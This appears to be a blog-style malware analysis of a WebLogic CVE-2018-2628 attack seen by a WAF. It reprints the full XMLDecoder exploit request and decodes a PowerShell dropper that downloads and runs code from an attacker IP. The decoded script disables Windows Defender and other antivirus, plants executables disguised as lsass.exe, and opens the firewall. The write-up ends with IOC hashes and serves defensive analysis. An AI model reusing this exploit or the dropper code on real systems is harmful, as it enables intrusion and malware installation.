Recently we received an alert from our WAF related to an attack towards our environment.
Further review of the alert found that the attacker is using Oracle WebLogic RCE Deserialization Vulnerability (CVE-2018-2628).
We observed that the attacker included some sort of PowerShell command in their request:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>Start /Min PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAVwBtAGkAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQApAC4AQwBhAHAAdABpAG8AbgA7ACQAVwBDAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAFcAQwAuAEgAZQBhAGQAZQByAHMAWwAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwBdAD0AIgBQAG8AdwBlAHIAUwBoAGUAbABsAC8AVwBMACsAIAAkAE8AUwAiADsASQBFAFgAIAAkAFcAQwAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADEAMQAuADIAMwAwAC4AMgAyADkALgAyADIANgAvAGkAbQBhAGcAZQBzAC8AdABlAHMAdAAvAEQATAAuAHAAaABwACcAKQA7AA==</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
Seems like the PowerShell command is using Base64 encoding for obfuscation. I use CyberChef to decode the base64. Result we get after decoding it:
$OS=(GWmi Win32_OperatingSystem).Caption;$WC=New-Object Net.WebClient;$WC.Headers['User-Agent']="PowerShell/WL+ $OS";IEX $WC.DownloadString('http://111.230.229.226/images/test/DL.php');
Seems like it tried to fetch file DL.php at http://111.230.229.226/images/test/DL.php. Lets try grab that file:
[email protected]:~# wget http://111.230.229.226/images/test/DL.php
--2018-04-29 19:50:27-- http://111.230.229.226/images/test/DL.php
Connecting to 111.230.229.226:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2018-04-29 19:50:28 ERROR 404: Not Found.
Hmm.. Error 404..? Is it true error? Or did we missing something here?
Lets analyze the command carefully:
PS C:\Users\Fossil\Desktop> $OS=(GWmi Win32_OperatingSystem).Caption;
PS C:\Users\Fossil\Desktop> $WC=New-Object Net.WebClient;
PS C:\Users\Fossil\Desktop> $WC.Headers['User-Agent']="PowerShell/WL+ $OS";
PS C:\Users\Fossil\Desktop>
PS C:\Users\Fossil\Desktop> echo $OS;
Microsoft Windows 7 Ultimate
PS C:\Users\Fossil\Desktop> echo $WC.Headers['User-Agent'];
PowerShell/WL+ Microsoft Windows 7 Ultimate
We can see the attacker is assigning/using specific User-Agent when fetching the file. That’s why when we try to wget/curl the file directly, it failed.
So what we need to do is set the User-Agent exactly the same as above when fetching the file. In this case, I’m using curl to fetch the file:
[email protected]:~# curl -v -H User-Agent: "PowerShell/WL Microsoft Windows 7 Professional" http://111.230.229.226/images/test/DL.php
* Trying 111.230.229.226...
* Connected to 111.230.229.226 (111.230.229.226) port 80 (#0)
> GET /images/test/DL.php HTTP/1.1
> Host: 111.230.229.226
> Accept: */*
> User-Agent: PowerShell/WL Microsoft Windows 7 Professional
<
< HTTP/1.1 200 OK
< Date: Sun, 29 Apr 2018 11:50:23 GMT
< Server: Apache/2.2.21 (Win32) PHP/5.3.10
< X-Powered-By: PHP/5.3.10
< Content-Length: 2539
< Content-Type: text/html
<
$EncodedCompressedFile = '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';$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress);$UncompressedFileBytes = New-Object Byte[](3948);$Null=$DeflatedStream.Read($UncompressedFileBytes, 0, 3948);([Text.Encoding]::ASCII.GetString($UncompressedFileBytes)) | IEX;
Ah.. Now see young padawan? Previously if the file been fetch without the User-Agent, it will failed/throw error 404. Again, we see another set of base64 encoding here.
But what is it?
I’m not an expert to explain this, but TL;DR, it convert the base64 encoded string to a memory stream and executes it. I guess ¯_(ツ)_/¯
So, to see what happen if this command executes, we can use this Python script below to decode it. With this script, we can basically see what are those base64 are doing.
We’ll create a Python script named “decodeb64.py“. Copy the base64 we found above, paste it after the encoded parameters; as example below:
#!/usr/bin/python
import base64
import zlib
encoded = "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"
# [Convert]::FromBase64String
decoded = base64.b64decode(encoded)
# IO.Compression.DeflateStream
# 15 is the default parameter, negative makes it ignore the gzip header
decompressed = zlib.decompress(decoded, -15)
print decompressed
Save the script and run the Python script as below:
C:\Users\Fossil\Desktop>python decodeb64.py > output_DL_php.txt
This will save all the output from your CMD to text file for easier to ready.
P/S : Your can rename output_DL_php.txt to any filename that you want.
Let’s see whats inside the text file:
$MutexName = 'Global\20180419'
$bCreated = $Flase
$hMutex = New-Object System.Threading.Mutex($true,$MutexName,[Ref]$bCreated)
if ($bCreated)
{
Start-Sleep 180
$hMutex.ReleaseMutex()
}
else
{
Exit
}
#Update
$WmiName = 'root\cimv2:PowerShell_Command'
$mPId=$Null;$mPId = ([WmiClass] $WmiName).Properties['mPId'].Value
if ($mPId -ne $Null) {
Write-Host "[i] Old PId: $mPId"
Get-Process -Id $mPId -ErrorAction SilentlyContinue | Stop-Process -Force
}
$WmiName = 'root\default:PowerShell_Command'
$mPId=$Null;$mPId = ([WmiClass] $WmiName).Properties['mPId'].Value
if ($mPId -ne $Null) {
Write-Host "[i] Old PId: $mPId"
Get-Process -Id $mPId -ErrorAction SilentlyContinue | Stop-Process -Force
}
$SrvName = "ZhuDongFangYu", "NisSrv","MsMpSvc","WdNisSvc","WinDefend", "MBAMService","a2AntiMalware"
foreach ($Srv in $SrvName)
{
# Set-Service -Name $Srv -StartupType Disabled -ErrorAction SilentlyContinue
# Stop-Service -Name $Srv -Force -ErrorAction SilentlyContinue
$Null = SC.exe Config $Srv Start= Disabled
$Null = SC.exe Stop $Srv
}
$ProName = "ZhuDongFangYu", "MsMpEng","MpCmdRun","msseces","NisSrv","MSASCui", "mbamtray","mbamservice","a2service"
foreach ($Pro in $ProName)
{
Get-Process -Name $Pro -ErrorAction SilentlyContinue | Stop-Process -Force
}
$Null = Reg.exe Add "HKLM\SoftWare\Microsoft\Windows Defender\SpyNet" /v "SpyNetReporting" /t REG_DWORD /d 0 /f
$Null = Reg.exe Add "HKLM\SoftWare\Microsoft\Windows Defender\Exclusions\Paths" /v "$Env:WinDir" /t REG_DWORD /d 0 /f
$Null = Reg.exe Add "HKLM\SoftWare\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\NisSrv /v Start /t REG_DWORD /d 4 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\MsMpSvc /v Start /t REG_DWORD /d 4 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\WdNisSvc /v Start /t REG_DWORD /d 4 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\WinDefend /v Start /t REG_DWORD /d 4 /f
$Script = "Start-Sleep (Get-Random -Min 60 -Max 300);IEX (New-Object Net.WebClient).DownloadString('http://111.230.229.226/images/def/DL.ps1');";
$ScriptBytes = [System.Text.Encoding]::Unicode.GetBytes($Script);
$EncodedScript = [System.Convert]::ToBase64String($ScriptBytes);
$Path = "$Env:SystemRoot\System32\WindowsPowerShell\v1.0\PowerShell.exe"
$Argv = "-NoP -NonI -EP ByPass -W Hidden -E $EncodedScript"
$Process = Start-Process -FilePath $Path -ArgumentList $Argv -WindowStyle Hidden -PassThru
$ProcessId = $($Process.Id)
if ($ProcessId -ne $Null)
{
Write-Host "[+] Neutrino PS Process Id is $ProcessId"
}
else
{
Write-Host "[-] Neutrino PS Process Id is NULL"
}
#Downloader
$x86 = "http://111.230.229.226/images/test/x86.exe"
$x64 = "http://111.230.229.226/images/test/x64.exe"
$File = "$Env:WinDir\Temp\lsass.eXe"
$WC = New-Object System.Net.WebClient
$Dir = "$Env:WinDir\Temp";
if (!(Test-Path $Dir)){ New-Item $Dir -Type Directory; }
if (!((Get-Item $File -Force) -is [IO.FileInfo])) { Remove-Item $File -Force -ErrorAction SilentlyContinue }
$OS = (Get-WmiObject Win32_ComputerSystem).SystemType
$SO = (Get-WmiObject Win32_OperatingSystem).OSArchitecture
if (($OS -Match '64') -Or ($SO -Match '64'))
{
Write-Host "[i] OS 64-bit"
$WC.DownloadFile($x64, $File)
if ((Test-Path $File) -eq $False)
{
$WC.DownloadFile("http://111.230.229.226/images/test/x64_VMP.exe", $File)
}
}
else
{
Write-Host '[i] OS 32-bit'
$WC.DownloadFile($x86, $File)
if ((Test-Path $File) -eq $False)
{
$WC.DownloadFile("http://111.230.229.226/images/test/x86_VMP.exe", $File)
}
}
if (Test-Path $File)
{
Write-Host '[+] Downloaded'
$Null = NetSH Firewall Add AllowedProgram $File "Windows Update" Enable
IEX $WC.DownloadString('http://111.230.229.226/images/test/WMI.ps1')
}
else
{
Write-Host '[-] Fail To Download'
}
As you can see, the command is doing bunch of stuff that I’m lazy to explain 😉
Hope you enjoy reading this.
Here’s some of IOCs that I managed to gather:
017eba5231a63782bdd1d7c8beff5b0b *DL.php
bee2f2223729166c264037a82fa4fed3 *DL.ps1
b5065178c574936a1b7e477929ba1075 *lsass.eXe
1dd6bc7549913b64595540bc77059415 *Neutrino.ps1
dfcb19949d55d35e5d3f1dd569218ce4 *WMI.ps1
ec5e6097038be59e7311f9de8d6354d6 *x64.exe
35cb2b208085bcb5b93ea6420f01c92b *x64_VMP.exe
2129a8287215558e5870c7cc89d0a8fe *x86.exe
c11dbd4777d6ec2b434c424e201c0e6b *x86_VMP.exe
References:
https://gist.githubusercontent.com/strazzere/5faa709a3db9e1dcf3b5/raw/42b98a918bac3725934bcfa3087ac5936d9b88d1/decrypt.py
http://threat.tevora.com/5-minute-forensics-decoding-powershell-payloads/
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